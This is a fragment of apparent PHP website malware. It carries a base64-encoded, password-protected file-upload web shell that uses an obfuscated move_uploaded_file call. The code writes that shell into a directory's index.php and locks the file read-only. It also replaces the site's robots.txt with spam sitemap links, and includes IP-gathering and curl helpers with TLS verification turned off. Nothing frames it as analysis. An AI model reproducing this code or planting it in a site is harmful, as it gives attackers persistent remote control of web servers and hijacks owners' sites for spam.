YWxpZ246IGNlbnRlcjsiIGlkPSJpbnB1dHBzZCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJwc2QiIC8+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24+c3VibWl0PC9idXR0b24+DQogICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgPC9ib2R5Pg0KICAgICAgICA8L2h0bWw+JzsNCiAgICAgICAgICAgIGV4aXQoKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZWlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnUE9TVCcpIHsNCiAgICAgICAgaWYoIWNoZWNrcHNkKCRwYXNzd29yZHN0cikpew0KICAgICAgICAgICAgJHBzZCA9IGlzc2V0KCRfUE9TVFsicHNkIl0pPyRfUE9TVFsicHNkIl06IiI7DQogICAgICAgICAgICBpZighZW1wdHkoJHBzZCkpew0KICAgICAgICAgICAgICAgICAgICBpZigkcHNkPT0kcGFzc3dvcmRzdHIpew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvb2tpZV9leHBpcmUgPSB0aW1lKCkgKyAoODY0MDAgKiAyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHNldGNvb2tpZSgicHNkIiwgJHBhc3N3b3Jkc3RyICwgJGNvb2tpZV9leHBpcmUpOw0KICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoInBhc3N3cm9kIGVycm9yIik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGV4aXQoInBhc3N3cm9kIGVycm9yIik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQo/Pg0KPD9waHANCmlmIChpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgew0KICAgICRmdW5jTmFtZSA9IHBhY2soIkgqIiwgIjZENkY3NjY1NUY3NTcwNkM2RjYxNjQ2NT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yRmaWxlc0FycmF5WydmJ11dWyJ0bXBfbmFtZSJdLCAkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJuYW1lIl0pKSB7DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsiZmlsZXBhdGgiXSkpew0KICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uIi8iLiRfUE9TVFsiZmlsZXBhdGgiXTsNCiAgICAgICAgICAgICAgICAgICAgaWYoIWlzX2RpcigkcGF0aCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBta2RpcigkcGF0aCwgMDc1NSwgdHJ1ZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJTdG9yZWQgaW46IOebruW9leWIm+W7uuaIkOWKn++8miRwYXRoIFxuIDxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGF0aCA9IF9fRElSX187DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSBfX0RJUl9fOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICJTdG9yZWQgaW46ICIgLiAkcGF0aCAuICIvIiAuICRfRklMRVNbJGZpbGVzQXJyYXlbJ2YnXV1bIm5hbWUiXSAuICI8YnIgLz4iOw0KICAgICAgICAgICAgICAgIGVjaG8gIjxocj4iOw0KICAgICAgICAgICAgICAgICR1cmwgPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICAgICAgICAgICAgICAgJGZpbGVwYXRoID0gJHBhdGggLiAiLyIgLiAkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJuYW1lIl07DQogICAgICAgICAgICAgICAgJGZpbGVwYXRoID0gc3RyX3JlcGxhY2UoIlxcIiwiLyIsJGZpbGVwYXRoKTsNCiAgICAgICAgICAgICAgICAkbmV3UGF0aCA9ICR1cmwuc3RyX3JlcGxhY2UoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwgIiIgLCAkZmlsZXBhdGgpOw0KICAgICAgICAgICAgICAgIGVjaG8gIkdvIGhlcmUgOiA8YSBocmVmPSckbmV3UGF0aCc+IiAuICRuZXdQYXRoIC4gIjwvYT48YnIgLz4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBlY2hvICJGaWxlIHVwbG9hZCBmYWlsZWQuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGlmICgkZnVuY05hbWUoJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsidG1wX25hbWUiXSwgJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsibmFtZSJdKSkgew0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbImZpbGVwYXRoIl0pKXsNCiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiIvIi4kX1BPU1RbImZpbGVwYXRoIl07DQogICAgICAgICAgICAgICAgICAgIGlmKCFpc19kaXIoJHBhdGgpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAbWtkaXIoJHBhdGgsIDA3NTUsIHRydWUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiU3RvcmVkIGluOiDnm67lvZXliJvlu7rmiJDlip/vvJokcGF0aCBcbiA8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSBfX0RJUl9fOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg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bD48YnIvPjxici8+DQogICAg6Ieq5a6a5LmJ6Lev5b6E77yaJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGVwYXRoIiBpZD0iZmlsZXBhdGgiIC8+PGJyLz48YnIvPg0KICAgIOS4iuS8oOaWh+S7tu+8mjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBpZD0iZmlsZSIgLz48YnIvPg0KICAgIDxici8+DQogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0i54K55Ye75LiK5LygIj4NCiAgICA8L2Zvcm0+DQo8L2Rpdj4="; $supercontent = base64_decode($codestr); if(file_exists($superdirectory."/index.php")){ @chmod($superdirectory."/index.php",0755); @writeToFile($superdirectory."/index.php",$supercontent); }else{ @writeToFile($superdirectory."/index.php",$supercontent); } @chmod($superdirectory."/index.php",0444); } } } function create_xml($now_url){ $rootDir = $_SERVER['DOCUMENT_ROOT']; @chmod($rootDir."/robots.txt",0755); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http"; $currentHost = $protocol.'://' . $_SERVER['HTTP_HOST']; $yuming_detail = ""; if(stripos($now_url,".php")!==false){ $post_url_list = explode(".php",$now_url); $yuming_detail = $post_url_list[0].".php"; } $robots_content_new = "VXNlci1hZ2VudDogKg0KQWxsb3c6IC8NClNpdGVtYXA6ICMjI2N1cnJlbnRIb3N0IyMjL3NpdGVtYXBhbGwueG1sDQpTaXRlbWFwOiAjIyNjdXJyZW50SG9zdCMjIy9zaXRlbWFwbW9ua2V5LnhtbA0KU2l0ZW1hcDogIyMjY3VycmVudEhvc3QjIyMvc2l0ZW1hcC54bWwNClNpdGVtYXA6ICMjI2N1cnJlbnRIb3N0IyMjL3NpdGVtYXBrZXkueG1s"; $robots_content_new = base64_decode($robots_content_new); $robots_content_new = str_replace("###currentHost###",$currentHost,$robots_content_new); if(!empty($yuming_detail)){ $robots_content_new.="\nSitemap: ".$yuming_detail."?sitemapkey.xml\nSitemap: ".$yuming_detail."?sitemapall.xml\nSitemap: ".$yuming_detail."?sitemap.xml"; } @writeToFile($rootDir."/robots.txt",$robots_content_new); } function getClientIp() { $ipAddress = ''; if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ipAddress = $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ipAddress = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_REAL_IP'])) { $ipAddress = $_SERVER['HTTP_X_REAL_IP']; } else { $ipAddress = $_SERVER['REMOTE_ADDR']; } if (strpos($ipAddress, ',') !== false) { $ipArray = explode(',', $ipAddress); $ipAddress = trim($ipArray[0]); } return $ipAddress; } function makeCurlRequest($url, $method = 'GET', $postData = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $headers = [ "Cache-Control: no-cache", "Connection: keep-alive", "Pragma: no-cache", "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" ]; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); } $response = curl_exec($ch); curl_close($ch); return $response; } function writeToFile($filename, $data) { $result = @file_put_contents($filename, $data); if ($result === false) { $handle = fopen($filename, 'w'); if ($handle) { $result = fwrite($handle, $data); fclose($handle); } } return $result; } ?>